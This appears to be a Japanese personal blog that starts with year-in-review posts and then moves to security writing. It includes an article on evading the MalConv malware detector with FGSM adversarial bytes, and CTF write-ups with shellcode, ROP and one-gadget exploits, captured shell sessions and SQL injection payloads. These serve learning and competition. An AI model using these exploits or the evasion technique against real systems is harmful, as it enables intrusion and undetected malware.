2022年を振り返る
社会人になってから更新が止まり、気づけば3年が経過していた。 2020年の振り返りは途中まで書いて面倒になってしまって下書きに眠っているので、2022年は雑にでも残しておこうと思う。
生活
筋トレ
6月頃から筋トレを始めた。ジムには通わず、自宅でダンベル等を使って週1,2回行う。モチベーション的には人生1度は腹筋を割ってみたいという思いだったり、テレワークでの運動不足も理由の一つ。上半身を中心にやっていて、併せて有酸素運動を行う日もある。始める前と比較すると明らかに物事を思い出しやすかったりして脳が生きている感じがするし、体は資本であることを改めて実感するのでこれからも続けていきたい習慣の一つになった。朝食をここ数ヶ月オートミールに変えてるけど、卵、牛乳、プロテイン、フルーツ(バナナorブルーベリー)と混ぜてレンチンするとオートミール感がほぼなくて美味しく食べれてよい。
自炊
夏か秋頃から始めた記憶がある。コンビニかスーパーかUberみたいな生活をしばらく続けていたけど、自炊したほうが明らかに安く済むし自分で作った飯はバフがかかって大抵美味しい。将来的にも料理できる人間になっておきたいというのも理由にある。自炊するときって今までだと適当なバズレシピを試してみたりしていたけど、基本的なメニューを一通り作れるようになりたいので今は料理本を買って和食から攻めている。
その他
見出し作るほどでもないことは以下。
Apex:3月頃にApexのランクがマスターになったので隠居している。今だと誘われたらやるぐらいで1,2週に1回ぐらいのペース。毎日やっていた時期は自分に使う時間がほとんどなくなっていたし、精神衛生上もよくない日々だったので以前より遥かにQOLが上がった。ハマりすぎるのは本当によくないなという学びがある一方で、自分って結局なにかに没頭したり試行錯誤している日々が好きなんだなと自覚した。解放されて4月頃は毎日を怠惰に過ごしていたけど、何をすればいいんだっけ?と思うぐらい毎日が退屈な日々だったので、目標に向かって試行錯誤しながら過ごす毎日を送りたいと思った。
the peggies:一番好きだったバンドが無期限活動休止した。これが一番好きだと言えるバンドが今までなかったけど、4年前ぐらいにハマったぺぎーずというガールズバンドは自分の中での流行が終わることなく、福島にいた時も東京までライブを見に行っていた。解散ではなく活動休止なので、再開するまでのんびり待とうと思う。(日比谷野音で開催された結成10周年記念ライブのBlu-rayに自分が一瞬映っていたのがいい思い出)
すずめの戸締まり:自分は新海作品が好きなので待望の新作に心を躍らせて観に行った。細かいギミックやストーリーの伏線・展開を考えてしまって没頭できないことがあるけど、今作も1回目は考えすぎたのか感情移入できずに終わってしまった。観る前の期待感が高かったのもあるのか満足度はあまり高くなかった。2週間後ぐらいにもう1回観に行くことになって、余計なことを考えずに鑑賞したけど最高だった。ストーリーには触れないが、すずめの成長だったり草太の人間味溢れる部分に惹かれた。小説のラストシーンの文章もとてもよい。
仕事
相変わらず月1,2の出社でほとんどリモートで働いている。良い点、悪い点、今後の展望などは別途どこかでまとめておきたい気持ち。今の会社にずっと在籍する気はなく転職も視野にはあるけど、自分の技術力をもう1段上げてから考えたい。来年も引き続き今の場所でやっていくと思う。
自己研鑽
TOEIC
2,3か月勉強して9月に受験した。今までだと1,2週間で適当に勉強して受けることが多くてスコアも当然酷かったが、今回はある程度伸ばすことができた。教材はスタディサプリを使った。関先生の授業がありえん分かりやすくて、高校時代からこの授業を受けたかったという気持ちになった。英文法の講義は全部終わらせて単語もぼちぼちやっていたけど、パートごとのレッスンに関してはリスニング部分しか終わらずリーディングは対策が全然できなかったし、模試も受けることができず明らかに演習不足だった。結果としてはなぜかリーディングが伸びてリスニングはあまり振るわず。今回、勉強期間は長めに取ったけど仕事で残業が多かったり、久々の勉強だったので集中力も足りず、日々の勉強時間が平均的に少なかった。
次回は、演習多め+リスニング対策+平均勉強時間を増やす、がポイントになりそう。
マルウェア解析
TOEIC受験が終わり、最近技術的なことそこまでやっていないなと思い、何かやろうと思い立って始めた。金銭的な利益に繋がる可能性があるバグハントを始めてみようか無限に迷ったけど、バグハントでメジャーなのはWebセキュリティ系のイメージが強かった。自分の興味の根本として、CTFでもRevやPwnが好きだったし、逆アセンブルして挙動を明らかにしていくようなリバースエンジニアリングが好きなので、今までも雰囲気でマルウェア解析をやったことは何回かあったけどいよいよ本格的に始めようと思った。退路を断つためにIDA Proを買おうと考えたけど、円安の影響なのか明らかに値上がりしてて厳しかった。最近は自分へのクリスマスプレゼントで、セール中だったZero2Automatedを買ったので今後はこれもやっていこうと思う。
今年買ったもの総評
ASTRO MixAmp
Apexでは足音めっちゃ聞こえるようになった。音楽や映画鑑賞でも自分好みに音を変えられるけど結局デフォで使ってたりしてゲーム以外だとあまり使っていない。
SHURE AONIC 215
SE215を使ってたので買ってみたけど、AirPodsと比べるとどうしても装着感で劣る。装着時に突起の部分が微妙に気になるし、取り出して装着するまでが若干面倒に感じる。たまに使う程度なので、買わなくてもよかったかもと思っている。
LEDデジタル時計
無難にいい。
AKRacing Pro-X V2
椅子もふかふかだし普通に座る分には最高なんだけど、ランバーサポートがしっかりとした厚みなのでリクライニング時に腰が浮く形になってしまい体に合わなかった。別途オットマンを用意することで割とストレスなく使えている。ハーマンミラーとロジクールGコラボの20万くらいする椅子も座ってみたけど、あれは正しく座るための椅子、という印象だったので候補から外した。1日のほとんどを椅子で過ごす生活なので、もっと最高な椅子があったら購入検討したい。
タイマー
ひっくり返すだけで時間が変わるのでシュッとポモドーロできてよい。
TAMRON 17-70mm F2.8
最高。
テンピュール
自分は体がでかいほうだけどSサイズがよかったので、サイズは店で実際に寝てみるのがいい。
Ducky One 2 Mini Pure White RGB 60% version
TTC Golden Pinkという軸にした。実際に触ってこれにしたけど使っていくうちに音がうるさいなと思ってきたので静音化を検討してる。 https://www.fumo-shop.com/ducky-one-2-mini-pw-rgb-60-version.html
ちなみに一緒に買ったキーキャップは装着してみると普通よりも高くなってしまって結局元に戻した。全く使わないのも勿体ないので、Duckyで使うFnキーだけ変えてる。Fnキーだけ若干高い変なキーボードになった。 https://www.fumo-shop.com/ducky-cotton-candy-sa-keycap-set.html
普段使いのキーボードは相変わらずREALFORCEを使っている。実家のような安心感で最高。
2023年の抱負
目標を決めて取り組まないと怠惰な自分に負けるので、定期的に目標設定してやっていきたい。
TOEIC800点
今年はこのぐらいの点数取りたいなという気持ち。
マルウェア解析
ある程度の解析能力を身に着けたい。
GPEN取得
会社で稟議申請が通ればSANSのSEC560を受講できるので頑張りたい。
CTF
余裕あるか…?という気持ちだけど書いておく。
2019年を振り返る
去年のはこれ
雑だけど今年も。
帰省中の電車の中で書いてる。
1月
初日の出
年明けは会津で迎えて、初日の出が見たくなったから車で猪苗代湖まで一人で行ってきた時に撮った写真。1時間くらいはいろんな写真撮ってて、寒かったけどいいものが撮れて嬉しかった。
2月
絵ろうそく祭り
去年も行った絵ろうそく祭り。めちゃ綺麗なので行くべき。
3月
pixivインターンシップ
最高のインターンシップを経験している様子。
詳細は以下。
4月
急性扁桃炎
急性扁桃炎になった。薬処方されすぎやろってくらい処方されてびびった。喉をものが通る度に激痛だった記憶。
5月
車をこすった。思ったほど大ごとにならなくて助かった。
この頃は快活に出入りすることが多くて、アオハライドを読み漁ってた。アオハライドは青春を感じられるのでよい。
6月
自損事故
事故を起こした。那須ハイに行った帰りに、酔い止めを飲んでた副作用だと思うけど睡魔に襲われて、山道ばかりだったけどとりあえずどこかで停車するべきだったと後悔してる。自分の怪我は別に大したことなかったけど、同乗者に怪我をさせてしまったり車も廃車になり、とてつもない罪悪感で一週間ぐらいはずっと精神が終わってた。眠気を感じたらすぐに停車しましょう。
7月
Hardening Ⅱ SU
Hardeningに参加した。初の北海道上陸でもあった。自分は脆弱性の修正やサーバー周りの細かい作業を担当。売り上げだけ見れば1位だった気がするけど、連合という制度があったりその他細かい評価指標があって、何だかんだなにも賞がもらえず悔しかった。
8月
無
特になにもしてない。研究を少し進めてみたり近所の神社やお祭りの写真撮ったり。
9月
入院生活
3週間入院した。自宅の階段でやらかしをしてしまい、腰の骨を圧迫骨折してしまった。その場にいた友人2人には救急車呼んでもらったり荷物持ってきてもらったり、めちゃくちゃ助けてもらって本当に感謝しかない。初めて救急車乗ったし初めて入院もした。腰への影響があるため、ベッドを起こしていい角度の上限が決まってたり尿瓶を使わなきゃいけなかったりして、ストレスフルな環境だったので精神的にも厳しかった。ちなみに圧迫されて変形した骨が元に戻ることはないらしく、身長が縮んだ疑惑がある。もう若くないので慎重な生活を心がけます。
10月
内定式&SECCON
内定式、SECCONなどがあった。
SECCONはまた今年も順位が上がったものの、自分は1問しか解けてなくて完全に戦犯をしたので来年こそは決勝行けるように精進します…
11月
研究
研究をしていた以外の記憶がないです。
12月
ライブ
the peggiesのライブ2度目。激アツ優勝ライブだった。
東京イルミ
東京、イルミネーションに溢れていてどこにいても目にするから希少価値ないやんとか思ってたけど綺麗なものは綺麗なので撮ってた。
SSD換装
SSDを1TBに換装した。ストレージ不足地獄からの脱却。
おわりに
今年を漢字一文字で表すならとか人々はよくやってるけど、自分の場合完全に「災」で、年明けに厄除けをしたのにも関わらず災難ばかりだった。効果がないのか、なんやかんや死に至らずに生きてるから効果があるのか。
来年は健康的な生活を送りたいです。
FGSMを使ってマルウェア検知器(MalConv)を回避する
これはAizu Advent Calendar 2019の11日目の記事です。(遅れて申し訳ありません…🙇♂️🙇♂️🙇♂️)
前の人は id:xatu0202 さんで,
次は id:shota-df-412 さんです.
はじめに
昨今、観測されるマルウェアの数は膨大になり、シグネチャベースのマルウェア検知・分類は難しくなっています。そのため、機械学習や深層学習を使用してマルウェア検知・分類を行う研究が盛んに行われていますが、MalConvというディープラーニングモデルをご存知でしょうか。
この記事では、FGSMという手法を用いてMalConvというCNNベースのマルウェア検知器を回避してみます。
※Adversarial Examplesの検証を目的としており、不正な攻撃を助長するものではありません。
MalConvとは
MalConvは、2017年にNVIDIAの研究チームらにより発表された Malware Detection by Eating a Whole EXEで提唱されています。それまで、ニューラルネットワークをマルウェア検知器に適用している研究はほとんどなく、実行ファイル全体を入力として受け取ってマルウェア検知している研究は存在していませんでした。また、マルウェア検知に使用する特徴量の抽出には多くのドメイン知識が必要でしたが、MalConvはそのようなドメイン知識の使用の最小化を目的とし、実行ファイルのraw byte sequenceのみを入力として受け取るようなCNNベースのマルウェア検知器であり、高い精度でマルウェアを検知できています。
それまで手作業で行ってきた特徴抽出の必要がなくなり、実行ファイルのみを入力として与えることで、モデル自身が特徴量を学習してマルウェアを検知することができます。そんな素晴らしい技術ですが、果たして欠点はないのでしょうか?
Adversarial Examplesについて
機械学習のモデルの精度を考慮する際、Adversarial Examplesの存在は欠かせません。
有名なのはこの画像ですが、パンダと分類されるべき画像に摂動というものを加えることでテナガザルと分類させています。これは非常に重要な問題であり、機械学習のモデルを実世界に適用する際に様々な被害が考えられます。
Adversarial Examplesについては以下が詳しいです。
PEファイルにおけるAdversarial Examplesを考える
MalConvの論文では、データセットにPEファイルを使用していましたが、PEファイルにおけるAdversarial Examplesは通常のAdversarial Examplesとなにが異なるのでしょうか。
通常は画像全体にノイズがかかるような形で摂動を加えるのですが、PEファイルでも同様の行為をしてしまうと機能性が失われてしまうという問題があります。例えば、実行に必要な多くの情報が含まれているPEヘッダーの不用意な変更は、プログラムをクラッシュさせることに繋がり、実行ファイルとして動作しなくなってしまう恐れがあります。他の領域においても同様で、1ビット書き換わるだけでクラッシュしてしまう危険性が増加するため慎重に扱う必要があります。
ではどのようにしてAdversarial Examplesを作るのかというと、
- 新しいセクションを作る
- ファイルの末尾に追加する
などの手法が取られています。1ではLIEFというライブラリがよく使われていて、PEに限らずELFやMachOなどのフォーマットをパースしたり変更を加えることが可能です。
2ですが、これはPEファイルに限った話ではありませんが、PEファイルの末尾にどのようなバイト列を追加しても問題なく動作するため、任意のバイト列を追加する場所としてファイルの末尾が使用されます。
これらの手法を用いて、benignと判定されるような特徴を追加していく、というのがPEファイルにおけるAdversarial Examplesの基本です。
Machine Learning Static Evasion Competitionとは
今年のDEFCON AI Villageで開催されていたコンペであり、MalConvを含めた3つのモデルによる検知を回避する技術を競います。最終的に50個のmaliciousなPEファイルを回避させる必要があります。また、white-box attackを考えるので、ソースコードは与えられます。
以下のブログでは、3つのモデルに対するwrite upが紹介されています。面白いのでおすすめ。
Fast Gradient Sign Method(FGSM)を使ってMalConvを回避してみる
Fast Gradient Sign Method(FGSM)とはAdversarial Examplesを作る手法の一つであり、重みを固定して入力を変化させながらAdversarial Examplesを求める方法よりも、誤差逆伝播を使って一度勾配を計算するだけなので高速ということらしいです。
これも詳しくは、上で掲載したサイト( はじめてのAdversarial Example )に載っています。
前置きがだいぶ長くなりましたが、FGSMを使ってMalConvを回避(FGSM attack)してみます。MalConvは上記のMachine Learning Static Evasion Competitionで使われていたモデル(EMBER 2018 binariesで学習させたもの)を使用します。(EMBERはEndgameが2018年4月に公開したオープンソースのデータセットです)
Machine Learning Static Evasion Competitionで使用されたコードは以下にあります。
今回はMalConvによる検知のみを回避するので、他の2つのモデルは扱いません。models.pyをMalConvのみ使うように変更して、結果だけでなくbenignとmaliciousそれぞれのrateも出力するようにしました。
import torch import torch.nn.functional as F from MalConv import MalConv import numpy as np MALCONV_MODEL_PATH = 'models/malconv/malconv.checkpoint' class MalConvModel(object): def __init__(self, model_path, thresh=0.5, name='malconv'): self.model = MalConv(channels=256, window_size=512, embd_size=8).train() weights = torch.load(model_path,map_location='cpu') self.model.load_state_dict( weights['model_state_dict']) self.thresh = thresh self.__name__ = name def predict(self, bytez): _inp = torch.from_numpy( np.frombuffer(bytez,dtype=np.uint8)[np.newaxis,:] ) with torch.no_grad(): outputs = F.softmax( self.model(_inp), dim=-1) print('benign: {}'.format(outputs[0][0].item())) print('malicious: {}'.format(outputs[0][1].item())) return outputs.detach().numpy()[0,1] > self.thresh if __name__ == '__main__': import sys with open(sys.argv[1],'rb') as infile: bytez = infile.read() # thresholds are set here malconv = MalConvModel(MALCONV_MODEL_PATH, thresh=0.5) print(f'{malconv.__name__}: {malconv.predict(bytez)}')
試しにこの学習済みモデルでマルウェアを検知してみます。検体はtheZooにあるTrojanWin32.Duqu.Stuxnetを使用しました。
$ python3 models.py win32.exe benign: 0.0066443816758692265 malicious: 0.9933556318283081 malconv: True
99%maliciousだと判定されています。これをbenignと判定させることが目的です。
FGSM attackの実装
FGSM attackを実装するにあたって、今年の1月に発表された Deceiving End-to-End Deep Learning Malware Detectors using Adversarial Examples を参考にしました。
完成したものがこちらです。
実行してみます。
$ python3 fgsm_attack.py win32.exe [1] Benign: 0.0066236 , Malicious: 0.99338 Loss: 1.3036 Reconstruction phase: 100%|████████████████████████████████████████████████████████████████████████████████████████████████| 640/640 [00:08<00:00, 79.76it/s] sum of perturbation: 84646.0 [2] Benign: 0.52506 , Malicious: 0.47494 Loss: 0.66841 Reconstruction phase: 100%|████████████████████████████████████████████████████████████████████████████████████████████████| 640/640 [00:07<00:00, 80.97it/s] sum of perturbation: 84640.0 Evasion rates: 0.52506 win32_AEs.exe has been created.
(摂動の値の合計値も出力しているのは、この値に変化がない場合は上手く生成できていない可能性があるからです…。epsが低い場合や摂動のサイズを小さい値で固定してテストしてみた時に発生していました。)
作成されたAdversarial ExamplesをMalConvで判定してみます。
$ python3 models.py win32_AEs.exe benign: 0.9517970681190491 malicious: 0.04820294678211212 malconv: False
見事にbenignだと判定されました。追加された摂動を見てみます。
ファイルの末尾に追加された一見ランダムに見えるこのバイト列ですが、MalConvではこの数百バイトが原因でmaliciousと判定されるべきファイルがbenignだと判定されてしまいました。
Deceiving End-to-End Deep Learning Malware Detectors using Adversarial Examples で行われていた方法は単純で、 c + (c − len(x) mod c): (cはconv size、xは入力ファイル)
で求まったサイズのランダムバイト列(0~255の範囲)を生成し、それを入力ファイルの末尾に加えたものをMalConvで判定させ、benignである識別率が0.5を上回るまでFGSMを用いて摂動を変更していくだけです。
最後に
Machine Learning Static Evasion Competitionのwrite upを書いていた方は10万バイトの0xA9を追加したり、benignなファイルの文字列を追加したりしていましたが、FGSM attackの場合は1000バイト以下のバイト列を末尾に付与するだけでMalConvによる検知を回避することができました。もちろん、コンペにおいては他の2つのモデルによる検知も同時に回避する必要があるのでこれだけでは不十分だと思いますが。
また、詳しくは言及しませんが、Adversarial Trainingという方法を使うとAdversarial Examplesに対してある程度ロバストになることも知られています。
実際に世の中で使用されているCylance製のアンチウイルスにおいて、このAdversarial Examplesが問題になったこともあるため、見過ごすことのできない課題の一つになっていることは確かです。
参考
https://devblogs.nvidia.com/malware-detection-neural-networks/
https://github.com/yuxiaorun/MalConv-Adversarial/blob/master/src/model.py
Beginners CTF 2019 Writeup
Seccompare
コマンドライン引数で文字列を渡して,それが正解かどうかstrcmpで比較してる.よって,ltraceを使えば比較対象であるフラグが求まる.
$ ltrace ./seccompare hoge strcmp("ctf4b{5tr1ngs_1s_n0t_en0ugh}", "hoge") = -5 puts("wrong"wrong ) = 6 +++ exited (status 0) +++
Leakage
is_correct関数で入力値を1文字ずつチェックしていて,比較対象はenc_flagを1文字取ってきてconvertに入れたもの.また,入力値は34文字でないといけない.convertの中身を読みたくなかったので,convertの直後にブレークポイントを貼って,戻り値が格納されるraxを1文字ずつ観察した.(頭悪い解法っぽい)
ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}
Linear_Operation
is_correct関数で入力値をチェックしている.処理がなかなかに複雑だったのでangrで解いた.
$ python solve.py WARNING | 2019-05-26 00:24:53,683 | angr.analyses.disassembly_utils | Your verison of capstone does not support MIPS instruction groups. WARNING | 2019-05-26 00:24:54,344 | angr.factory | factory.path_group() is deprecated! Please use factory.simgr() instead. Deprecation warning: Use eval_upto(expr, n, cast_to=str) instead of any_n_str ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}
shellcoder
binshという文字列を使ってはいけないシェルコードコーディング問題.
0x00080000: movabs rbx, 0x38237f7f3e39327f 0x0008000A: movabs rax, 0x5050505050505050 0x00080014: xor rbx, rax 0x00080017: xor esi, esi 0x00080019: push rsi 0x0008001A: push rbx 0x0008001B: push rsp 0x0008001C: pop rdi 0x0008001D: xor rax, rax 0x00080020: mov al, 0x3b 0x00080022: xor edx, edx 0x00080024: syscall syscall
こんな感じでxorでなんとかした.
$ python exploit.py [*] Checking for new versions of pwntools To disable this functionality, set the contents of /home/yyy/.pwntools-cache/update to 'never'. [*] A newer version of pwntools is available on pypi (3.5.0 --> 3.12.2). Update with: $ pip install -U pwntools [+] Opening connection to 153.120.129.186 on port 20000: Done [*] Switching to interactive mode Are you shellcoder? $ ls flag.txt shellcoder $ cat flag.txt ctf4b{Byp4ss_us!ng6_X0R_3nc0de} $ exit
OneLine
一度0x28分readしてその後 call rax
するんだけど,raxはwriteの関数ポインタになっていて,それはreadで読み込む領域に存在しているので上書きが可能.
これと同じ処理が2回走るので,1度目は適当に短い文字列を入れてwriteの関数ポインタを上書きしないようにして,1度目の call rax
でwriteの関数ポインタをリークしてlibcのベースアドレスを求める.そして2回目のreadで関数ポインタをone-gadget RCEに書き換えた.one-gadget RCEを探すツールでlibc内を検索したら3つあったんだけど,1つ目では条件が合わずにうまく起動できなかった.
$ python exploit.py [+] Opening connection to 153.120.129.186 on port 10000: Done [*] '/home/yyy/ctf/all/Beginners_CTF_2019/pwn/OneLine/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled You can input text here! >> 0x7fe15586a140 0x7fe15575a000 \x00\x00Once more again! >> [*] Switching to interactive mode $ ls flag.txt oneline $ cat flag.txt ctf4b{0v3rwr!t3_Func7!on_p0int3r} $ exit
Dump
与えられたpcap内にフラグを8進数表示したものがあったので,取り出してまずはスペース区切りに整形した.
その後こんな感じのスクリプトを書いて,ファイルに変換した.gzipで圧縮されたものだったので, gunzip -c flag > hoge
とかした後に出てきたものが今度はtarでアーカイブされたものだったので, tar xvf hoge
をするとフラグが書かれたflag.jpgが取り出せた.
Ramen
SQLiがある. 'or 1=1;#
で全件表示できたので, 1' UNION SELECT table_name, null FROM INFORMATION_SCHEMA.COLUMNS; #
をしたらflagというテーブルがあるのがわかった.あとは 1' UNION SELECT *, null from flag;#
でフラグをみた.
Harekaze CTF 2019 Baby ROP, Baby ROP 2, scramble
Baby ROP
バッファオーバーフローがあり,バイナリ内にsystemも用意されていたのでROPでsystemに飛ばすだけ. /bin/sh
もバイナリ内にあったのでそれを使った.
$ python exploit.py [+] Opening connection to problem.harekaze.com on port 20001: Done [*] Switching to interactive mode What's your name? $ ls bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var $ ls /home babyrop $ ls /home/babyrop babyrop flag $ cat /home/babyrop/flag HarekazeCTF{r3turn_0r13nt3d_pr0gr4mm1ng_i5_3ss3nt141_70_pwn} $ exit
Baby ROP 2
同じくバッファオーバーフローがあるが,バイナリ内にsystemが存在しないのでlibcのアドレスをleakしてからlibc内のone-gadget RCEに飛ばした.
$ python exploit.py [+] Opening connection to problem.harekaze.com on port 20005: Done [*] '/home/yyy/ctf/all/HarekazeCTF2019/pwn/babyrop2/babyrop2' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/home/yyy/ctf/all/HarekazeCTF2019/pwn/babyrop2/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled What's your name? Welcome to the Pwn World again, AAAAAAAAAAAAAAAAAAAAAAAAAAAAI! 0x7f1d378f7250 0x7f1d37800000 What's your name? [*] Switching to interactive mode Welcome to the Pwn World again, AAAAAAAAAAAAAAAAAAAAAAAAAAAA9! $ cat /home/babyrop2/flag HarekazeCTF{u53_b55_53gm3nt_t0_pu7_50m37h1ng} $ exit
scramble
入力を受け取ってscrambleという関数に渡してから,その結果を元にxorとかして正解かどうか判定するcrackme系の問題.
Ghidraでデコンパイルしてみたけどscrambleの処理があまり読みたくないものだったし,解かれてるスピードが異常に速かったのでangrとかでいけるだろうと思ってangrで解いた.
最初は "Harekaze{" で始まるだろうなぁとか推測して少し複雑にスクリプトを書いていたけど全く求まらなくて,以下のように単純なスクリプトにしたらすぐ出た.
$ python solve.py WARNING | 2019-05-19 12:11:42,304 | angr.analyses.disassembly_utils | Your verison of capstone does not support MIPS instruction groups. WARNING | 2019-05-19 12:11:42,469 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000. WARNING | 2019-05-19 12:11:42,489 | angr.factory | factory.path_group() is deprecated! Please use factory.simgr() instead. Dump stdin at succeeded(): 'HarekazeCTF{3nj0y_h4r3k4z3_c7f_2019!!}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
DEF CON CTF Qualifier 2019 speedrun-001~003
speedrun-001
$ ./speedrun-001
Hello brave new challenger
Any last words?
hoge
This will be the last thing that you say: hoge
Alas, you had no luck today.
バッファオーバーフローがあるので,ROPで execve("/bin/sh", NULL, NULL)
を呼ぶようにした.
$ python exploit.py [+] Opening connection to speedrun-001.quals2019.oooverflow.io on port 31337: Done Hello brave new challenger Any last words? [*] Switching to interactive mode This will be the last thing that you say: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x86\x06@ $ ls - banner_fail bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin service.conf speedrun-001 srv sys tmp usr var wrapper $ cat /flag OOO{Ask any pwner. Any real pwner. It don't matter if you pwn by an inch or a m1L3. pwning's pwning.} [*] Got EOF while reading in interactive
speedrun-002
$ ./speedrun-002
We meet again on these pwning streets.
What say you now?
hoge
What a ho-hum thing to say.
Fare thee well.
これも同様バッファオーバーフローがあり,ROPからret2libcでsystemを呼ぼうとしたがローカルではうまくいくのにリモートではうまくいかない問題が起きてて,どうやらリモートではsystem関数が使えないように制限されてたっぽいので,001同様直接システムコールを使うようにしたらシェルが取れた.
$ python exploit.py [+] Opening connection to speedrun-002.quals2019.oooverflow.io on port 31337: Done [*] '/home/yyy/ctf/all/DEF_CON_2019/speedrun-002/speedrun-002' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/home/yyy/ctf/all/DEF_CON_2019/speedrun-002/libc/lib/x86_64-linux-gnu/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled We meet again on these pwning streets. What say you now? What an interesting thing to say. Tell me more. Fascinating. leak_addr: 0x7f4b03669140 libc_base: 0x7f4b03559000 system_addr: 0x7f4b035a8440 We meet again on these pwning streets. What say you now? What an interesting thing to say. Tell me more. Fascinating. [*] Switching to interactive mode $ cat /flag OOO{I_didn't know p1zzA places__mAde pwners.} $ exit [*] Got EOF while reading in interactive
speedrun-003
$ ./speedrun-003 Think you can drift? Send me your drift hoge You're not ready.
シェルコード問題.30バイトのシェルコードを入力する必要があり,前半部分それぞれをxorした値と後半部分それぞれをxorした値が等しくないといけない.
48 bb 2f 62 69 6e 2f movabs rbx,0x68732f6e69622f 73 68 00 31 f6 xor esi,esi 56 push rsi 53 push rbx 54 push rsp 5f pop rdi b0 3b mov al,0x3b 31 d2 xor edx,edx 0f 05 syscall
シェルコードはこのようなものを使用したが,これは22バイトなのでいい感じに調整した.具体的には,前半部分を push rsp
までにして,残りの部分は xor edx, edx
を4つに増やすことでバイト数をかさ増ししたり,同じxor値になるように mov al, 0x3b
を2つに増やし,前半の 0x3b
の部分を変化させながら,最終的に mov al, 0x5a
にした.
$ python exploit.py [+] Opening connection to speedrun-003.quals2019.oooverflow.io on port 31337: Done [*] Switching to interactive mode Think you can drift? Send me your drift $ cat /flag OOO{Fifty percent of something is better than a hundred percent of nothing. (except when it comes to pwning)} $ exit [*] Got EOF while reading in interactive
ASIS CTF Quals 2019 Key maker
問題文
The Keymaker: Only the One can open the door. And only during that window can that door be opened. Niobe: How do you know all this? The Keymaker: I know because I must know. It is my purpose. It is the reason I am here. The same reason we are all here.
PEファイルを解析する問題.ポイントは最終的に93で,solve数は51だった.
$ file key_maker.exe key_maker.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
$ key_maker.exe KeyMaker is old, you are the one to help Neo!! Please enter licence key: hoge Sorry, given licence is invalid!
crackmeだとわかる.適切なライセンスキーを入力する必要がある.
入力値を扱っている箇所の逆アセンブル結果が少々複雑なため,最近話題のGhidraを初めて使ってデコンパイルしてみたが,かなりよかった.以下はmain関数のデコンパイル結果.
50文字の入力をFUN_00401637に渡していて,この関数が入力値を検証するものだとわかる.
FUN_00401637では,最初のif文で入力値の17文字目と34文字目が _
になっているか,5文字目と最後の文字を掛け合わせた結果が0x3c0fになっているか(これはつまり,5文字目が {
で,最後の文字が }
かどうか)を確認している.この時点で正規のライセンスキーが,ASIS{........}
みたいなフラグの形式になっていそうだとわかる.
その後,3つのWhileループで _
